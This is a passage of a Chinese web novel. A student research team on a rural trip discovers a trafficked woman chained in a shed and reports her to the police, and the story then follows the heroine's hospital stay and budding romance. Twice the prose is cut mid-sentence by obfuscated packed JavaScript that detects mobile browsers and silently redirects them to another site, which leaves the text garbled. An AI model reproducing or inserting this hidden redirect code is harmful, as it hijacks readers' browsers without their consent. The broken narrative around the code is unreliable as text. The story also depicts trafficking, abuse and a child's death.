沿途,姜岁安并没有忘记任务,指挥着方知言用相机记录着村里的风土细节,徒步走到难得的水泥乡道上,被热心的村民载到了村口。她照常在这里的小卖部买了点糖果,又买了包卫生巾,找老板娘借了点水把身上的泥巴冲走,提着鞋拦了一辆“麻木”,回到镇上的小旅馆。 麻木,顾名思义,颠得人头皮发麻、屁股疼痛。 一路上,姜岁安与方知言也不说话,倒不是相见眼红,而是头晕眼花,难与对方多说一个字。 陈雪离开了之后,整个队伍里就剩下姜岁安一个女生,于是有些事情她只能自己扛着,连发泄都找不到对象。 晚上,她在房间里整理稿件,忽然,房门被人敲响。 她谨慎地将耳朵贴在门上,方知言的声音传来:“是我,方知言。” “吱呀——” 门开了。 方知言的锁骨上泛了一两颗红疹子,像是朱砂点在皮肤上,一问才知道是过敏。 他手里拿着一个保温杯,保温杯里装着什么,不得而知,直到他开口:“中医强调养气,阴阳有分,看你总是喝冰的,今天还下了水,想着——” “方知言,你真是个好人。” “除了这个,就没有别的想对我说的了吗?”他红着脸问。 “帮我把这个拿出去扔了呗,”姜岁安拿了一袋装着很多快餐食品包装盒的垃圾,递给他,突然朝她甜甜一笑,“那么——晚安。” 姜岁安收下方知言送来的保温杯,心里暖暖的。 可那仅仅只是一杯热水,换个杯子装,也还是热水。 小花将一壶热水放在许三面前,又从厨房端来一盘腊香肠和汤白菜。 小花今天累坏了,将小脸埋在碗里,大口大口地扒饭。 “咚咚咚。” 桌子闷响三声。 小花抬眼就看到了许三的筷子竖在桌上,随后听到了他的警告:“别跟那些人走得太近,听到没有。” 小花点点头。 “哑巴啊,说话。” “晓得了。” “那……鞋子要还给他们吗?” “啥子鞋哦。”许三正哄着摇篮里哭着的婴儿,有些不耐烦地粗暴摇着那小小的木床,瞪了一眼小花。 小花回答:“里面有个人给我的,说是方便干活我就拿回来了。” “收就收了吧,他们就给你这个,没说什么?” 小花的心始终吊着一口气,说:“他们给我讲了一些故事,不过我听不懂,问……就问村里一般养什么、种什么……” “一群闲人,”许三起身,在灶台上的铁锅里把剩下一点饭装到自己碗里,又把剩饭剩菜盖在上面,分了一半给狗,又将另一半摆到小花面前,呵斥她:“端过去。” 小花左手端着这碗饭来到柴房,右手拿着手电筒,口袋里揣着柴房的插销,站在柴房门前驻足了好久。 夏日的夜晚,月光竟然是冷的,透过树影,不均匀地撒在柴房顶的茅草上。那些草早就枯了,一根根硬撅撅地支棱着,把月光划出许多细碎的、毛糙的痕。 远处,山是浓墨泼出来的,一重又一重,叠得密密实实,沉甸甸地压在夜的脊背上。 她的脚步踩进去,几乎没有声音。 柴房里有几捆柴、几摞稻草、一张破旧的棉絮毯子、一条蜿蜒的镣铐……一个蜷缩在角落的女人。 小花小心翼翼地走过去,蹲下,唤她吃饭。 似乎是早有戒备,小花将饭递过去的时候又突然收手,果不其然,那个她叫做“姐姐”的女子下意识地用手在空气里一划,差点掀翻饭碗。 小花从口袋里掏出那块巧克力,递给了她。 “姐姐”借着月光和手电的光,看清楚了自己手里的东西是什么,突然像抓住救命稻草一样,不停追问小花这是从哪里弄来的。她的声音沙哑,小声嘶吼:“你告诉姐姐,是不是别人来过了,你告诉姐姐,好不好……你说啊,说啊!” 她神情狰狞,把小花吓了一跳。 “姐姐求求你,你只要告诉姐姐‘是’或者‘不是’就可以了,好吗?” 小花把最近这一个多星期的事情都告诉了她。 “姐姐”说不出话,默默流着泪,希望又绝望,她悄悄在小花耳边问:“孩子,其实你什么都知道的对吗?我求求你,帮帮我,好吗……我已经给你生了一个弟弟了,为什么不能放我走……为什么……” 知了在窗外叫。 夏天那么热,两人的身体那么冷。 小花点了点头。 那天晚上,小花做了一个很漫长的梦。 梦的内容并不复杂,简单来说,就是在走迷宫。 每当她觉得自己应该马上就能找到出口的时候,新的路障就凭空出现,告诉她此路不通。 正当她想要放弃的时候,突然有一双手出现在了自己的面前,这只手沾满了泥巴,但是胳膊很白,像一条瘦瘦的藕一样。 她想:这样瘦的藕是卖不出好价钱的。 然后这只手不由分说地拽着自己,跑向太阳升起时的天明那去。 她一直在提醒这只手的主人:“那儿是墙!别过去!” 可这只手的主人像是聋子一样,一直往那儿跑——这人应该也是一个瞎子。 可是,那堵墙并没有她想象得那么坚不可摧,身子一压,就像稻草一样凹陷了下去。 原来,离开迷宫并不需要找到出口。 外面的世界,好像也不过如此,太阳是一样的、蓝天是一样的、土地也是一样的…… 姜岁安问过一开始暂居的屋子的爷爷奶奶,关于许三的事,知道他每周五下午会去镇上打牌,顺便打一斤酒回家。 爷爷说:“你们莫去惹他,他屋里除了那个女娃娃乖些,其他人都好无赖,尤其你还是女娃娃,晓得噻。” 姜岁安点头,自然地挽起方知言的胳膊:“爷爷奶奶,别担心,我们两个会寸步不离地守卫对方的。” 奶奶上下打量着方知言,啧啧赞叹:“好俊哦,和你这个美妹儿好配哦。” 爷爷奶奶还想留两人在这里吃午饭,但是姜岁安和方知言想到今日是周五,便拒绝了。 她突然想到了什么,到门外把在镇上买的米和油提了进来,说:“爷爷奶奶,给你们的。” “招待不周,还让你那个朋友碰到个老色鬼,莫恨我们就行。”两个老人有些手足无措,把姜岁安的手往回走推,最后还是败倒在她的甜言蜜语里。 于是就在这个下乡第三周的周五,她和方知言以采风的名义又来到了这个山头,徘徊在附近。 他们躲在高地,见许三开着一辆摩托,追风一般扬长而去。 姜岁安和方知言摸着一寸一土的黄色土墙,鬼使神差般来到了那个柴房前。 柴房上了锁,她趴在木门上听,里头有细弱的哭声。 姜岁安不安地在周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332120|198269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转,方知言从后边出来,吓了她一跳。 他说:“后边顶上有扇……窗。” 得亏许三家的柴房偷工减料,屋子不算高,她踩在方知言的肩上,差一点点能够到窗的边沿。 土屋靠石头和砖头砌成,黄泥没有填满的地方仍有孔洞,于是姜岁安脱了那双圆头的鞋,赤着脚踩在那块小小的空地上,终于爬到了上面。 她的手上全是泥巴,脚底踩在了死了的鸟身上,脖子上挂着相机,强忍着生理不适和悬空的恐惧,将视线往里探。 四面墙只有这一面有通风的口,姜岁安像一只猫一样匍匐蜷缩在不过一掌宽的黄土窗台上,轻声叫着里面的人。 女孩听见有人说话,错愕地抬头。 姜岁安把唯一能有光透进来的地方遮挡得差不多了,可她却能清晰地看见这个天降之物眸中的闪烁。 她才明白,这是一个人,而不是一只巨大的野猫或是其他。 她想要喊,可是不敢喊,也喊不出来,呼救声顶住喉咙。 姜岁安安慰她:“别害怕,我是好人……你能把现在的情况跟我说说吗?” 女孩动了动脚,那副铁铐在地上拖拽的声音沉重。 姜岁安说:“你再忍一忍,不要走漏风声,我们想办法,救你出去。可以拍张照留作证据吗?” 稻草堆里的人点头。 不知为何,女孩得到了一阵前所未有的心安——姜岁安说的是“我们”。 这一阵心安很快随着窗沿上姜岁安“轰”地一声掉下去而坠入冰窟。 她告诫自己:不能叫、不能叫、不能叫…… 她背脊高高耸起,胸骨因为内心尖叫而阵痛,直到缺氧感扑面而来。 即使有方知言接着自己,姜岁安仍旧摔得不轻,半边身体几乎麻木。 “没事吧。”方知言直起腰,着急扶她起来。 姜岁安吃疼闭眼再睁眼,见到方知言的第一句话不是喊疼,而是说:“方知言,加油。” 要弄到打开铁链的钥匙是现在的第一要务。 姜岁安没有办法,只好找到小花,可她在见到她那张满脸晒斑和疲惫的脸时,却无法开口。 小花抢了本应该由她或他的开头:“黄蓉姐姐,我知道你们来是为了姐姐……但是我没办法帮你们……” 姜岁安说:“小花,那个姐姐有告诉过你,她叫什么名字吗?” “李……李丽珍。”小花说。 姜岁安说:“谢谢你,小花。” 方知言在一旁静静地坐着,不干扰她们两个任何一个。 她想:姜岁安很会转移话题,在任何情况下都是。 姜岁安一直试着从小花的嘴里问出些什么,可这孩子像是突然开了窍,怎么也不松嘴。 方知言递给姜岁安一句耳语:“许三很可能已经知道我们对他起了疑心,又跟她说了些什么,所以小花才不开口。我们今天就到这里,先回镇上报警,不要在这里报警。” 他知道姜岁安在担心什么——调研队明天就要动身回北城了。 姜岁安这次,用干净的手摸了摸小花的头,又说了一遍:“谢谢你,小花。” 许三这天手气很不好,没打几轮就输了几大百块,相当于小花一个星期挖的藕卖出去的钱。 他最后不舍地在牌局前逗留了一会儿,直到两支劣质烟被很快吸完,然后骑着摩托一路向山上跑。心中有气无处发泄,越开越快,比平时活生生早了两个小时回到家。 他怒气冲冲推开门的时候,冷清的桌上什么也没有,风扇也没在转,摇床里的孩子睡得香甜。 小花在厨房里做饭,柴火的烟味瞬间熏到了外边。 “你他妈要放火啊烧个饭!” 面对这样的咒骂,小花已经习惯了。许三只要一输钱就会拿自己和李丽珍当出气筒,但只要她们不反抗,任他打任他骂,他的气很快就能消。 这个晚上,许三到柴房要把李丽珍放出来给孩子喂奶,一般这种时候是李丽珍反抗最剧烈的时候,但这次她罕见地没有哭,也没有叫。 许三很是满意,从屋里拿了好酒来喝,一边喝,一遍嘲笑李丽珍:“还不是得跟了老子,早点这样不就不用受这么多罪了吗?” 李丽珍紧紧攒着拳头,不说话。 那天晚上,李丽珍没有再被关到柴房去,而是睡在了床上。 她只希望一切能快一点,再快一点,最好黑夜马上轮换为白天。 26. 失落城(四) 姜岁安有了证据。 那张照片就是证据。 她在台上讲,老教授温和平淡,依旧坐在那里。 那个夜里,姜岁安报了警,又打了打拐办的电话。 他们明天就要起身回北城了。 这是她现在唯一能做的事情了。 就算她从未见过李丽珍,她认为自己也会在今天晚上做同样的事情。 旅馆的床上,姜岁安翻来覆去睡不着觉。 她做过的最大的事,无非是和夏静雯的“同流合污”——她甚至还要拉上夏静雯,才能给自己的反抗打上一个安心的标签。她不知道明天可能发生什么,甚至不知道等一下会发生什么。 “咚咚咚。” 姜岁安被吓了一跳,寒毛竖起。 “我,詹成华。” 姜岁安给老教授开了门。 “教授,您这么晚来是做什么?” 他说:“和你聊聊。” “跟我有什么好聊的呢。” “我给你讲个故事吧。” 也不论姜岁安想不想听,总之,詹成华坐在了一把小凳子上,开始掏心窝子。 詹成华那时候是学校里最年轻的社会学副教授。 同样是夏天,他带着一队学生下乡调研。那时候经费没那么多,学校对学生的实践活动和教师的科研成果也没那么多要求,但大家都对人文充满了热情,全凭一腔热血。 他们来到这个村子的时候,村里在为一个成年的男孩摆酒,长长的桌子上,清一色全是短发的男人。詹成华借来村里的族谱看,毫无例外,也都是男孩名字。 詹成华的队伍里,女学生比男学生多,所以即使他自己被邀请了,也没有去吃席,而是带着大家借了村里人的灶台,自己做饭。 队伍里有女学生说,祠堂不过只是男性群体的集体子宫。 这句话放在现在还是很能引起共鸣的,但在当时,几乎是颠覆性的论述。 詹成华作为老师之前,是一个男人,觉得她作为一个学生,说出这种话是不害臊的。詹成华心里很不爽,正准备教育,忽地反省起来——这种感觉不是不爽,而是恐惧。 于是他默许了女学生的话。 村里人来来往往,耳目混杂。 詹成华让学生们别太张扬,不惹没必要的麻烦。 这时候的乡村法律意识薄弱,偷鸡摸狗的事常有,脾气暴一点的,讨回自己鸡和狗不说,还要把你的菜园全部铲掉,而后产生新一轮的更大的矛盾。流血是很正常的。 詹成华说:“这些都是前言了。” 詹成华告诉姜岁安,那个女学生也遇到了跟她同样的事情。 当时大家考虑的问题没那么复杂,于是鼓励她报了警。 这个村子产粮还有煤矿,还有好几家混黑的,势力很强,地方警局惹不起,于是象征性排查了一遍村庄,就没了后续,甚至把这位女学生的口音、相貌和身材都告诉了村长。 然后,这个女学生失踪了,找回来的时候已经疯了,被送进了精神病院,不久后自杀了。 詹成华说:“她是那一届能力最出众的一个学生,在改革开放的热如火如荼的时候,本来也应该有十分美好的未来,却英年早逝,白发人送黑发人。 “这是我心里的一个结,永远的结。” 姜岁安突然想起了《沉默的真相》这部电影,又想起了之前听过的一个案件——似乎主人公就是詹成华口中的这位师姐,但自己那时已经在博客的留言区里发表过评论了,于是没有安慰詹成华,也不知道怎么安慰一个这样的人。 知天命之年,来听不到而立之年的她的建议,詹成华想来应该也是走投无路了,或者是要进入那耳顺的自然之道。 姜岁安问:“教授,那件事距今,有多少年了呢?” 他算了算:“二十五多年了。” 姜岁安说:“二十五前,我甚至都还不是人。现在,我有幸跟您这样的学术大拿坐在这里,双目平齐,很不可思议吧。我们一直在往前走,社会也是,您也不要这么悲观嘛。” 他说:“你把问题想简单了——这句话我在二十五年前就该说了。” “很复杂吗?” 詹成华觉得自己在雕刻一块木头,这块木头软硬不吃,长得奇怪,可偏偏又是上好的木材,让木匠们趋之若鹜,拿到手的时候,发现烫手也无济于事了。 玉不琢不成器,在姜岁安身上却展现出了一种矛盾。 老教授说:“你和小言这些天做了很多事情,我都睁一只眼闭一只眼,他有家庭的背景可以兜底,也会跟我交流,因为我必须保证你们两个的行动是安全的。 “我知道你对许三家的小女孩有同情,但是你不要给他们希望,随便给人希望,是很不负责的。她原本可以痴傻地活一辈子,但是她一旦动了聪明的念头,心里就会不平衡。 “你到时候拍拍屁股就走人,回到北城,交通便利、文娱丰富、商业繁荣,你觉得自己还会再回来吗?你忘记她的速度比你想起她的速度都快。你又留下了什么给她呢? “你的想法、你的热情、你的知识,对于他们这样的孩子来说——分文不值。我欣赏你有话就说的性格,大家师兄师姐也都很喜欢你,知言不常交朋友,你偏偏又是能让他莫名其妙跋山过来的人。 “但是,姜岁安你有没有想过,你真的能给她留下什么呢?带给人希望这件事,是自私的,你自以为给她带去了希望,你希望她能走出大山,这是好事,但是你能给她什么物质保障保障呢?你最多给她一些钱,这些钱最后也都会到那个男孩子的肚子里,你留给她的只剩下一个空虚的幻影。” 带给人希望这件事,是自私的。 姜岁安有点怀疑自己的动机了。 詹成华说:“你现在最该祈祷的,就是她早点忘记这一切,然后你也早点忘记这一切。” 姜岁安的声音温柔,坚韧有力:“我不会忘的。” 詹成华觉得自己该说的、该做的都已经说了、已经做了,至于姜岁安听不听、听进去了多少,改不改变、改变了多少——都再也与他没有关系了。 他对姜岁安因果的涉足,浅尝辄止,造化自便。 白天,每个人都面色凝重,心不在焉地收拾着行李。 方知言问她,不再去见小花一面吗? 姜岁安告诉他,那样会错过飞机。 “你骗人了。” 姜岁安说:“我没有。不去不代表不想,想也不代表要。” 坐在飞机上的时候,她打开遮光板向外望,白茫茫一片之下,山与水蜿蜒曲折,仿若一张永远逃不出去的大网,网住密密麻麻的荆棘。 越过秦岭淮河,白茫茫的天地变成一望无际的旷野。 姜岁安把睡着的方知言的脑袋扒到自己肩上,叹了口气。 她的叹息动作好像有点大,方知言不舒服地扭了扭,继续倒在自己身上。 南桃乡—— 想逃难。 午饭的时间到了,见方知言在睡觉,姜岁安便朝空姐轻轻摇了摇手,没拿餐食,于是空姐给他们一人贴了张叫餐贴纸。 心被堵着,连坐胃也跟着一起饱了。 方知言在南桃乡应该水土不服了很久,额头上长了一两颗红色的痘痘。 姜岁安盯着他的睡颜,铁石心肠化成一江春水,飞机往东走,江水向东流。 方知言,谢谢你。 除了感谢无以言表,除了心跳无以回报。 姜岁安回到北城后到公安局做了个笔录,她把相机里那张照片和手机里的录音交给了警方。没半个月,这村子就被彻查,解救出包括李丽珍在内的三名女性,抓了一批涉嫌人口买卖的嫌犯,还受害者以归家,还无辜村民以宁静;而相关政府机构中失职、渎职的官员也依法处罚了。 据说,在一男性嫌疑人的家中还发现了一具女童尸体,经法医检验,系钝器导致的机械性死亡。 又是据说,抓到许三的时候,他的裤脚被卷起来,两个大大的血洞还在向外吐着血,他在家里煮着火锅,烟雾缭绕。 他十分无所谓地吐着骨头,直到刑警给他戴上手铐,才剧烈挣扎起来。 姜岁安看着那给女童脸部打上了马赛克的照片,一阵悔恨、自责与恐惧压得她喘不过气来,蹲到宿舍蹲坑前吐了出来。 那件缝缝补补的泛黄波点上衣,她怎会不记得——那是小花的。 她只感觉自己的脑袋上压着几重大大的山,愚公移不走,她又感觉自己胃里有一片深海翻涌,精卫填不平…… 墨、劓、剕、宫、大辟……就该让这些人统统试一遍,死了就许愿重生在行刑台上,管个屁的什么文明与现代! 当然,她的愿望终究不能实现。 恍惚间,她听到舍友在很大声叫自己,随即失去了意识。 那个晚上,许三很高兴,喝了酒,睡得沉。 李丽珍与许三躺在一张床上,夏夜的燥热和许三身上的汗臭味让她无法睡去。 不知为什么,李丽珍猛然惊觉自己不应该把希望寄托给一个素不相识的女孩,于是在夜里出逃了。 她蹑手蹑脚走到堂屋的时候,黑犬恶狠狠地盯着她,吓得李丽珍双腿一软,瘫坐在水泥地上。 黑犬嘴里发出咕噜噜的声音,却突然乖巧起来。 小花站在李丽珍身后,让黑犬不要乱叫。 李丽珍看了一眼小花,嘴里吐出三个气声,见小花没有说话,便拖着带血的脚仓皇失措地跑了出去。 小花抱着黑犬,紧紧抱着,直到那三个字被怀中狗的骚味呛走。 李丽珍说——跟我走。 她走了,她没走。 李丽珍并不认路,山间的路又黑,她只能往山下跑,一直跑,跑不停。 凌晨时分,进山的警察发现了躺在了路边的李丽珍,但是她已经昏迷不行。他们先把她送到了医院,待李丽珍第二日醒来之后,对她进行询问,最后锁定了嫌疑人许三的住处,然后再次进山。 第二天早上,许三起床,发现李丽珍不见了。 小花在灶台上心不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜岁安的情绪来得快去得也快,自己将一切难言之隐吞进肚子里,然后故作坚强地在医院里学习和工作。 方知言回学校忙了一下午,晚上给她带饭,顺便陪了姜岁安一个晚上。 “方知言,别趴着睡了,你要是不介意的话,睡我旁边就行。” 姜岁安说出这话的时候,自己都不敢相信,但她的本意是希望方知言轻松点,因为他不欠自己什么,没必要付出这么多。 但可怕的事情发生了——方知言没有拒绝,脱了外套,蹑手蹑脚地掀开白色的被子,钻了进来。 姜岁安其实不喜欢睡觉的时候身边有人,但方知言就像一个大型的玩偶一般,除了呼吸之外别无动作。 “方知言?” “我在。” “晚安?” “好。” 病号服很薄,方知言的单衣也很薄,两颗暖柿子不断朝对方散发着热气,她感受着他的温度,心脏怦怦直跳,手心捏出汗。 闭上眼睛,这感觉更加汹涌,她只能像个泳者或者渔夫一样,征服自己起伏如浪的心跳。 圣地亚哥,请赐予我力量吧! 道完安后,方知言不敢翻身,可又想瞧她的睡颜,于是努力偏了偏头,直到余光里出现她阖上的眼睛。 她的体温紧紧挨着他,再挪一寸,就能贴上她的皮肤。这样的位置、这样的姿势、这样的事…… 姜岁安突然睁眼,方知言小鹿一样明亮的眼睛把微微的月光送到自己的心脏,他害羞地垂下眼皮,在她的视角里,变成了一只狐狸,眼尾若有若无地上扬。 她伸手,把他的脸朝自己摆正。 她嗤笑一声,因为鼻子还没有通气,所以声音带着弄弄的鼻音:“你的脸好烫。” “太热了。”他不敢在夜里对上她狡猾又无辜的视线,于是闭上眼睛,掩耳盗铃。 “护士说空调最低也只能开这个温度了,要给你调低点吗?” “姜岁安,你能不能不要……这样笑着说话。” 她伸手摸了摸他的眼睛:“那……你能不能睁开眼睛说话呢?方知言,我说过的,我又不会吃了你。” 他抓住她的手,没有放开。 方知言郑重道:“晚安,这次是真晚安。” 姜岁安眨眨眼睛,用平稳中波涛汹涌的呼吸回应他,最后问:“方知言,我到底该怎么报答你呢?” “以心相许吧。” 轻轻的,如同鹅毛一样,挠着她的心,姜岁安的心跳更快了,想动却被他钳住了手。 轻轻地:“谁教你这么说话的。” 闭眼闭眼,睡去睡去。 这一觉睡得意外沉。 白天阳光从窗外透进来——方知言没了踪影。 他留了一张纸条:我回学校上课了。 后面还有记者想要硬闯姜岁安的病房,方知言在门口说了自成年后的第一个“滚”字。 坦白来讲,如果这人还是不走的话,他大概率会动手。 姜岁安以后也会变成这样的人吗? 大概率不会。 一定不会。 27. 失落城(五) 姜岁安对方知言有过一场“交代”。 关于自己。 她后来也说不准为什么当时脑袋一热就开始抖自己小时候的黑料,只当是自己对“姜岁安”太有好奇心,也就是俗称的“自恋”。 姜女士在饭局上有时候会半开玩笑地说:“总想当英雄,是安安性格里致命的缺陷——太喜欢出风头和替人出头了。” 姜岁安在十八岁生日的那天,她又说了这句话。十八岁的少女在这个晚上吹了蜡烛、吃了蛋糕,在随笔里写道:自古以来士阶层强调“天下兴亡,匹夫有责”,我就是想出头!就想被枪打! 第二天起床看笔记本,觉得这两句话羞耻得很,要咬牙切齿着才能读完,于是就撕掉叠起来放到夹层里了。 小时候,女孩们围在一起过家家,她因为那时肉肉多而结实,争取不到带上头纱扮演公主的机会,于是只能扮演骑士、国王,甚至是骑士的马。 之前还觉得这样很不公平,但是看到公主们历经万千历练最终只是为了一个素不相识的女孩扮演的王子,她突然觉得很无趣,感慨扮演国王也挺好的——只用演出生气就好了,而且台词又短又有威严。 后来她又觉得,童话世界里的国王和骑士也都很无聊——有万千兵马不去好好守卫国家,反而在这里为一男一女的爱情发愁。 后来的后来,她顿悟骑士和公主明明可以是同一个人,而且公主们多是韧性十足之人,为爱情、为友谊、为世人——都值得敬佩。 即使出身平凡,命运多舛,依然铁血丹青,天真浪漫。 公主就是骑士,骑士不一定是公主。 姜岁安最喜欢辛弃疾的词,壮岁旌旗拥万夫,锦襜突骑渡江初。 最不喜欢的诗人是李煜。 最喜欢的当代作家是简嫃,最不喜欢的是贾平凹。 英雄与凡人,平衡得好,是绿林好汉,路见不平一声吼;平衡不好,就会陷入无尽的自责之中。 可她似乎并没有成为天命者的极端的勇气,因为她太年轻,所以会在前进与后退之间踌躇两难,直到做出一个决定,决定一旦做出,就没有回头路走了。 不论她打不打那两个电话,不论她什么时候打,或许她都会后悔。 所以,方知言希望豁达的姜岁安再豁达一点,至少是在这件事上面。 所以,方知言也理解姜岁安为什么会哭。 但夏静雯在周末来的时候,她们却就此事彻夜聊了很久,那叫一个酣畅淋漓、无不痛快。 甚至让方知言一度认为姜岁安不是个病人,又一度怀疑自己与她的亲密关系——何时比不上她和夏静雯的关系了? 他礼貌地不参与她们之间的谈话,倚靠在病房门外的白墙上。 病房的隔音效果其实一般,他认真点听就能把她们谈论的内容全部收入耳中,但是却刻意地放空了自己的大脑,于是什么也没接收到。 直到“蒋翼铭”三个字被提起。 姜岁安问:“蒋翼铭呢?你们没在一起吗?” 夏静雯说:“他出国了,我们也没在一起,”她自嘲地笑了笑,“那你呢?方知言没跟你表白?” 方知言脸一红,心脏扑通乱跳。 “我们?你别逗了,我们只是朋友。” “那我和蒋翼铭还是朋友呢。” “屁话,你们都接过吻了。” “你又提这事。接过吻怎么了,接吻又不一定要在一起,而且我们又没伸舌头,而且而且……那是酒后乱性,我梦里那位可是莱昂纳多·迪卡普里奥!” “行,我不提了——啧,夏静雯你个渣女。” 夏静雯离开的时候,朝方知言意味深长地说了句:“把握住机会啊。” 方知言尴尬地笑了笑,跟着她下了楼。 原来接吻要伸舌头…… 伸舌头? 好尴尬的动作,真有人会喜欢吗? 夏静雯问:“回学校?” 方知言回过神来,摆摆手:“出来给她买份馄炖。” 夏静雯说:“方知言,你就从了姜岁安吧。” 方知言无奈地笑了笑,回应道:“是我一厢情愿。” “你们两个啊,明明也都不是什么不善言辞的人,怎么在这种事情上纠结那么久,那就……祝你好运吧。” 夏静雯上了出租车,朝他挥手告别。 方知言的头发乱糟糟的,像是刚从鸡窝中睡醒,上衣也难得一见的褶皱,夏静雯在心里想:哪有追人的样子……哪有人的样子…… 在一个叫徐哥汤粉的小摊上买了一份馄炖,方知言在回医院的路上,走到二分之一,又折返回去给自己买了一份。 虽然他觉得小摊的卫生条件很差,而且来往车流又多,尾气多过盐,但既然是姜岁安觉得好吃的,他也可以试一试。 一推开房门,迎接他的不是姜岁安的声音,而是姜岁安手机的铃声。 病床上的姜岁安如临大敌,招呼着方知言赶紧过去。她的声音着急:“方知言,幸好你来了,快过来随便搪塞我爸妈几句,他们还不知道我住院的事情,而且这个病号服太病号服了。” 方知言犹豫地接过她的手机,顺着她手指的方向走到了窗帘前,然后按下了接通键。 “安安——诶,你是谁?”姜女士惊呼出声,盯着方知言。 牛先生探头过来,看清方知言的脸之后,说:“你是……哎呀我知道,是和安安一届高考的那个状元。你是……哦——安安的男朋友吧,她在哪儿呢?” 方知言心里暗爽,挑眉递了一个眼神给姜岁安。 姜岁安没来得及仔细思考,指了指自己的脑袋,于是方知言说:“她在洗头。” 方知言背对着窗帘和窗台,夕阳的红晕荡漾在他的脸上,让远在汐城的姜女士和牛先生遐想连篇。 姜女士说:“啊……洗、洗澡啊,那我们不打扰你们了啊。” 方知言纠正:“是洗头。” 牛先生说:“你小子,我跟你姜阿姨都懂,做好措施啊。” 方知言的脸瞬间红了,他原本只是想逗逗姜岁安,却反被姜女士和牛先生逗得面红耳赤。 听完全程的姜岁安满脸问号,摊开双手歪着头,半晌憋出了一句:“Why?” 方知言将手机还给姜岁安:“他们好像误会了什么。” 姜岁安无奈地开始碎碎念:“我的本意是——本人现在有些头痛,正在教室睡觉,然后你作为好心的同学帮我挂掉电话。你上来就是一句在洗头,但凡说我们在理发店呢? “完了完了,不过,你说他们怎么会这么理解呢? “嘶——我爸妈的脑回路一直很清奇,你别介意。” 说着说着,她自己却笑出声来。 方知言也眯眼笑了起来。 方知言想起正事,说:“给你买的馄饨,赶紧吃了吧。” 姜岁安坐直身体,突然与方知言约定:“方知言,暑假回汐城,再陪我去一趟流浪者山吧。” “好。” 姜岁安先喝了一口馄饨的虾皮紫菜汤,说:“又不问我‘为什么’。” “为什么?”方知言立刻接上话茬。 “不告诉你。” 方知言面上早就做好了露出“早就知道”表情的准备,姜岁安话语的尾音刚落,神色便着急来到幕前,凭眼珠和眉毛做媒。 两天后,姜岁安出了院,为了表示对方知言的感谢,她特意请他到市中心高楼的米其林三星餐厅吃饭。 她特意挑了一个靠窗的位置,这里能眺望整座城市的面容。 姜岁安第一次在这么高这么气派的地方吃饭,特意穿了条米白色长裙,化了淡妆,盘起头发,整个人温婉明媚——不开口的话。 方知言没有做作地穿上一身西装在那里等她,而是穿了一件简单的灰色衬衫和长裤,外套搭在一旁,干净利落,仪表堂堂。等姜岁安的时候,他还在赶论文,所以戴着眼镜。 他不说话的时候冷峻,轻声喃喃文章的时候,似乎是知道自己在等她,因此嘴角总带着一抹似有似无的笑。 听见她的脚步声,方知言收起电脑,摘下眼镜,一副坐庄的样子,说:“别想太多,好好吃饭,你看你都瘦了。” 姜岁安说:“你现在,跟我爸我妈一个样了。” 这里的菜精致是精致,甚至还有礼仪人员特意来介绍用的哪里的牛、牛吃什么长大、吃的东西是怎么生长的、在哪国哪区的牧场生长的。 姜岁安心想:她吃的哪里是牛,简直是牛和牛胃里的一生。 可她也确实没吃饱——这米其林还不如她自己下两包泡面来得实在! 两个人从摩天大楼坐电梯下来的时候,姜岁安的肚子不合时宜地响了好几声。 她脸红得很,假装镇定地玩着手机,却被身旁表现得若无其事的方知言戳了戳手臂。姜岁安觉得他一定是故意的,竖起尖刺变身豪猪,闷声给了方知言一个肘击。 方知言不愠不恼,傻傻扬起嘴角。 电梯里异常安静,西装革履的男士们、光鲜亮丽的女士们都忙着自己的事情,没人注意他们。 方知言的一声咳嗽刚好喊开了电梯。 姜岁安饿了一天,又吃了一堆奇奇怪怪的东西,这下任凭方知言如何哄,都板着个脸。她说:“方知言,要不……你陪我再去火锅店搓一顿呗,我请客,敞开肚皮吃!”想到夏天里热辣的火锅,姜岁安黑着的脸瞬间亮起来,莞尔一笑,歪头看他。 方知言牵起她白裙薄薄的袖子,走进旋转门,室外夏夜风的冷意飘来,他把手中的大衣披在她身上,说:“姜小姐想去哪一家呢?” 姜岁安老脸一红,抽走手,磕磕巴巴开口:“A……A大旁边有一家不错……我们走吧。” …… 两人衣装正式地踏入火锅店时,惹来了一阵注目,不过姜岁安毫不在意了,她现在只有一个念头:点单!点单!点单! 吃到尽兴时,姜岁安叫了酒。 方知言说自己不胜酒力,回去还得赶论文,就不多喝了。 姜岁安虽然说他这人不解风情,但还是只给倒到了一小点。 姜岁安与方知言酒过三巡后,开始说胡话:“要我说,拐卖就该买卖同罪,然后全部枪毙!枪毙,枪毙,枪毙!最好全国直播!”她语气激动,但声音不大,刚好让方知言听得真切又不影响旁人。 方知言嘟囔:“这得看量刑呀。” 姜岁安听见了,走到他身边与他同坐,捧起方知言的脸,双眼盯着他说出这话的嘴:“我知道,不过——嘘——我不能再说了,我要大逆不道了……屁,哪有什么正道,人间正道是沧桑,沧桑催人老,跟我们年轻人有啥关系!方知言,我想回学校了,我明天还有早八呢。 “嘘——你好吵。” 她的手指盖在他紧闭的唇间,可他明明什么也没说,正当疑惑之时,姜岁安的手指划到他胸前。 方知言大概猜到了,那天她和夏静雯究竟在聊些什么,也明白了是自己的心太吵闹,闹到她的呼吸也乱了。 姜岁安虽然糊涂着,但还是抢在方知言前面付了钱。 他扶着她,一路挪到了A大围墙外。 北城没有樱花,也不胜梧桐,有些单调。路灯在还绿着的国槐的缝隙中露出影,打在她脸上。 姜岁安突然站在那儿不愿走,用只有他们两个人能听到的音量嘟囔:“方知言,你干嘛总对我这么好?” 